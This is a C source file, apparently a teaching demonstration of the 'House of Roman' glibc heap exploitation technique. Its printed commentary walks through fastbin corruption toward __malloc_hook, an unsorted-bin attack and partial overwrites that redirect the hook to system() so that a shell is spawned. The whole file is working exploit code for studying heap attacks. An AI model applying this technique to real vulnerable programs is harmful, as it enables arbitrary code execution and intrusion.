1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352
| #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <malloc.h> #include <dlfcn.h>
char* shell = "/bin/sh\x00";
void* init(){ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); }
int main(){
char* introduction = "\nWelcome to the House of Roman\n\n" "This is a heap exploitation technique that is LEAKLESS.\n" "There are three stages to the attack: \n\n" "1. Point a fastbin chunk to __malloc_hook.\n" "2. Run the unsorted_bin attack on __malloc_hook.\n" "3. Relative overwrite on main_arena at __malloc_hook.\n\n" "All of the stuff mentioned above is done using two main concepts:\n" "relative overwrites and heap feng shui.\n\n" "However, this technique comes at a cost:\n" "12-bits of entropy need to be brute forced.\n" "That means this technique only work 1 out of every 4096 tries or 0.02%.\n" "**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n"; puts(introduction); init();
puts("Step 1: Point fastbin chunk to __malloc_hook\n\n"); puts("Setting up chunks for relative overwrites with heap feng shui.\n");
uint8_t* fastbin_victim = malloc(0x60);
malloc(0x80);
uint8_t* main_arena_use = malloc(0x80); uint8_t* relative_offset_heap = malloc(0x60); free(main_arena_use);
puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
uint8_t* fake_libc_chunk = malloc(0x60);
long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;
free(relative_offset_heap);
free(fastbin_victim);
puts("\ Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\ to the chunk with the LibC address\n"); puts("\ Fastbin 0x70 now looks like this:\n\ heap_addr -> heap_addr2 -> LibC_main_arena\n"); fastbin_victim[0] = 0x00;
puts("\ Use a relative overwrite on the main_arena pointer in the fastbin.\n\ Point this close to __malloc_hook in order to create a fake fastbin chunk\n"); long long __malloc_hook_adjust = __malloc_hook - 0x23;
int8_t byte1 = (__malloc_hook_adjust) & 0xff; int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; fake_libc_chunk[0] = byte1; fake_libc_chunk[1] = byte2;
puts("Get the fake chunk pointing close to __malloc_hook\n"); puts("\ In a real exploit, this would fail 15/16 times\n\ because of the final half byet of the malloc_hook being random\n"); malloc(0x60); malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
puts("Passed step 1 =)\n\n\n");
puts("\ Start Step 2: Unsorted_bin attack\n\n\ The unsorted bin attack gives us the ability to write a\n\ large value to ANY location. But, we do not control the value\n\ This value is always main_arena + 0x68. \n\ We point the unsorted_bin attack to __malloc_hook for a \n\ relative overwrite later.\n");
uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30);
puts("Put chunk into unsorted_bin\n"); free(unsorted_bin_ptr);
__malloc_hook_adjust = __malloc_hook - 0x10; byte1 = (__malloc_hook_adjust) & 0xff; byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n"); unsorted_bin_ptr[8] = byte1;
unsorted_bin_ptr[9] = byte2;
puts("Trigger the unsorted_bin attack\n"); malloc(0x80);
long long system_addr = (long long)dlsym(RTLD_NEXT, "system");
puts("Passed step 2 =)\n\n\n");
puts("Step 3: Set __malloc_hook to system/one_gadget\n\n"); puts("\ Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\ we can use a relative overwrite to point this to system or a one_gadget.\n\ Note: In a real attack, this would be where the last 8 bits of brute forcing\n\ comes from.\n"); malloc_hook_chunk[19] = system_addr & 0xff;
malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; malloc_hook_chunk[21] = (system_addr >> 16) & 0xff; malloc_hook_chunk[22] = (system_addr >> 24) & 0xff;
puts("Pop Shell!"); malloc((long long)shell); }
|